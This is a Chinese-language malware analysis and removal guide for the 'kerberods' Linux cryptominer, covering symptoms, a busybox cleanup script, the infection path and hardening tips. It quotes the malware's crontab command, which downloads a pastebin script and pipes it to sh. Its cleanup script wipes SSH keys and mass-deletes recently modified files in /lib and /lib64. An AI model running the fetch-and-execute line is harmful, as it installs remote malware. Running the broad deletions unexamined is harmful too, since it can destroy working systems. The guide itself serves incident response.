一. 症状及表现 CPU使用率异常高,外出流量异常 crontab异常,存在如下定时任务(基本上就可以确定了) [root@it.net.cn ~]# crontab -l */15 * * * * (curl -fsSL https://pastebin.com/raw/xmxHzu5P||wget -q -O- https://pastebin.com/raw/xmxHzu5P)|sh 在以下目录下存在异常文件 *注:ls top ps等命令已经被病毒的动态链接库劫持,无法正常使用,大家需要下载busybox,具体的安装和下载步骤将在后文提供。 [root@it.net.cn ~]# busybox ls -a /tmp |grep ds /tmp/kerberods /tmp/khugepageds [root@it.net.cn ~]# busybox ls -a /usr/sbin |grep kerber /usr/sbin/kerberods [root@it.net.cn ~]# busybox ls -a /etc |grep ld.so.preload /etc/ld.so.preload [root@it.net.cn ~]# busybox ls -a /usr/local/lib |grep libcry /usr/local/lib/libcryptod.so 存在以下异常进程 busybox ps -ef | busybox grep -v grep | busybox grep 'kerberods' busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' 存在以下异常开机项 /etc/rc.d/init.d/kerberods /etc/init.d/netdns 常用命令动态链接库被异常修改 [root@it.net.cn ~]# ldd `whereis top |awk '{print $2}'` |grep usr xxx 二. 查杀方法 先把方法放在前边,后文将分析该病毒的处理逻辑、感染途径和代码分析 安装busybox #!/bin/bash #获取busybox安装包,也可以其他机器下载后离线上传到目标机器 wget http://busybox.net/downloads/busybox-1.21.0.tar.bz2 #需要bzip2,要是机器没有安装的话 yum -y install bzip2 #或者离线安装bzip2 #tar zxvf bzip2-1.0.6.tar.gz #cd bzip2-1.0.6/ #make -f Makefile-libbz2_so #make && make install tar -xvf busybox-1.21.0.tar.bz2 cd ./busybox-1.21.0 make defconfig #注意,这里最好在相同操作系统的正常机器上进行静态链接 #防止动态链接还被挖矿病毒的动态库劫持,导致删除文件不成功 #如果条件不允许,第二点将会重点说明 make make install ln -s `pwd`/busybox /usr/bin/busybox busybox|grep BusyBox |grep v 如果最终出现以下信息,证明安装成功 BusyBox v1.21.0 (2019-04-15 19:51:44 CST) multi-call binary. 重要说明 注意,这些挖矿病毒都会贱兮兮的更改动态链接库,如果安装有vim等静态链接的文件编辑工具工具,可以用vim打开下边的文件,注释掉里边的内容 [root@it.net.cn ~]# vim /etc/ld.so.preload 查杀脚本 #!/bin/bash #可以重复执行几次,防止互相拉起导致删除失败 function installBusyBox(){ #参考第一段 busybox|grep BusyBox |grep v } function banHosts(){ #删除免密认证,防止继续通过ssh进行扩散,后续需自行恢复,可不执行 busybox echo "" > /root/.ssh/authorized_keys busybox echo "" > /root/.ssh/id_rsa busybox echo "" > /root/.ssh/id_rsa.pub busybox echo "" > /root/.ssh/known_hosts busybox echo "" > /root/.ssh/auth #iptables -I INPUT -p tcp --dport 445 -j DROP busybox echo -e "\n0.0.0.0 pastebin.com\n0.0.0.0 thyrsi.com" >> /etc/hosts } function fixCron(){ #修复crontab busybox chattr -i /etc/cron.d/root 2>/dev/null busybox rm -f /etc/cron.d/root busybox chattr -i /var/spool/cron/root 2>/dev/null busybox rm -f /var/spool/cron/root busybox chattr -i /var/spool/cron/tomcat 2>/dev/null busybox rm -f /var/spool/cron/tomcat busybox chattr -i /var/spool/cron/crontabs/root 2>/dev/null busybox rm -f /var/spool/cron/crontabs/root busybox rm -rf /var/spool/cron/tmp.* busybox rm -rf /var/spool/cron/crontabs busybox touch /var/spool/cron/root busybox chattr +i /var/spool/cron/root } function killProcess(){ #修复异常进程 busybox ps -ef | busybox grep -v grep | busybox grep 'kerberods' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null busybox ps -ef | busybox grep -v grep | busybox grep 'khugepageds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null busybox ps -ef | busybox grep -v grep | busybox egrep 'ksoftirqds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null busybox ps -ef | busybox grep -v grep | busybox egrep 'kthrotlds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null busybox ps -ef | busybox grep -v grep | busybox egrep 'kpsmouseds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null busybox ps -ef | busybox grep -v grep | busybox egrep 'kintegrityds' | busybox awk '{print $1}' |busybox sed "s/root//g" | busybox xargs kill -9 2>/dev/null busybox rm -f /tmp/khugepageds busybox rm -f /usr/sbin/kerberods busybox rm -f /usr/sbin/kthrotlds busybox rm -f /usr/sbin/kintegrityds busybox rm -f /usr/sbin/kpsmouseds busybox find /tmp -mtime -4 -type f | busybox xargs busybox rm -rf } function clearLib(){ #修复动态库 busybox rm -f /etc/ld.so.preload busybox rm -f /usr/local/lib/libcryptod.so busybox rm -f /usr/local/lib/libcset.so busybox chattr -i /etc/ld.so.preload 2>/dev/null busybox chattr -i /usr/local/lib/libcryptod.so 2>/dev/null busybox chattr -i /usr/local/lib/libcset.so 2>/dev/null busybox find /usr/local/lib/ -mtime -4 -type f| busybox xargs rm -rf busybox find /lib/ -mtime -4 -type f| busybox xargs rm -rf busybox find /lib64/ -mtime -4 -type f| busybox xargs rm -rf busybox rm -f /etc/ld.so.cache busybox rm -f /etc/ld.so.preload busybox rm -f /usr/local/lib/libcryptod.so busybox rm -f /usr/local/lib/libcset.so busybox rm -rf /usr/local/lib/libdevmapped.so busybox rm -rf /usr/local/lib/libpamcd.so busybox rm -rf /usr/local/lib/libdevmapped.so busybox touch /etc/ld.so.preload busybox chattr +i /etc/ld.so.preload ldconfig } function clearInit(){ #修复异常开机项 #chkconfig netdns off 2>/dev/null #chkconfig –del netdns 2>/dev/null #systemctl disable netdns 2>/dev/null busybox rm -f /etc/rc.d/init.d/kerberods busybox rm -f /etc/init.d/netdns busybox rm -f /etc/rc.d/init.d/kthrotlds busybox rm -f /etc/rc.d/init.d/kpsmouseds busybox rm -f /etc/rc.d/init.d/kintegrityds #chkconfig watchdogs off 2>/dev/null #chkconfig --del watchdogs 2>/dev/null #chkconfig --del kworker 2>/dev/null #chkconfig --del netdns 2>/dev/null } function recoverOk(){ service crond start busybox sleep 3 busybox chattr -i /var/spool/cron/root echo "OK,BETTER REBOOT YOUR DEVICE" } #先停止crontab服务 service crond stop #防止病毒继续扩散 banHosts #清除lib劫持 clearLib #修复crontab fixCron killProcess clearLib killProcess #删除异常开机项 clearInit fixCron recoverOk 三. 病毒分析 感染路径 ① 攻击者通过网络进入第一台被感染的机器(redis未认证漏洞、ssh密码泄露登录等)。 ② 第一台感染的机器会读取known_hosts文件,遍历ssh登录,如果是做了免密登录认证,则将直接进行横向传播。 主要模块 主恶意程序:kerberods 恶意Hook库:libcryptod.so libcryptod.c 挖矿程序:khugepageds 恶意脚本文件:netdns (用作kerberods的启停等管理) 执行顺序 ① 执行恶意脚本下载命令: (curl -fsSL https://pastebin.com/raw/xxx||wget -q -O- https://pastebin.com/raw/xxx)|sed 's/\r//'|sh 1 该下载后的脚本主要操作有 1> 将指令添加到crontab中 2> kill掉同类挖矿进程 3> kill掉高好资源的其他进程 4> 下载执行主恶意程序kerberods 5> 横向ssh传播 ② 主进程操作 1> 添加至开机启动 2> 生成了netdns文件 3> 将netdns文件设置为开机启动 4> 编译libcryptod.c为/usr/local/lib/libcryptod.so 5> 预加载动态链接库,恶意hook关键系统操作函数 6> 修改/etc/cron.d/root文件,增加定时任务 7> 拉起khugepageds挖矿进程 四. 后续安全加固 SSH ① 谨慎做免密登录 ② 不使用默认的22端口 ③ 禁止root登录 Redis ① 增加授权认证(requirepass参数) ② 尽量使用docker版本(docker pull redis) ③ 隐藏重要的命令 五.参考 watchdogs挖矿病毒,感染分析及解决 挖矿病毒kerberods查杀及分析 (责任编辑:IT) |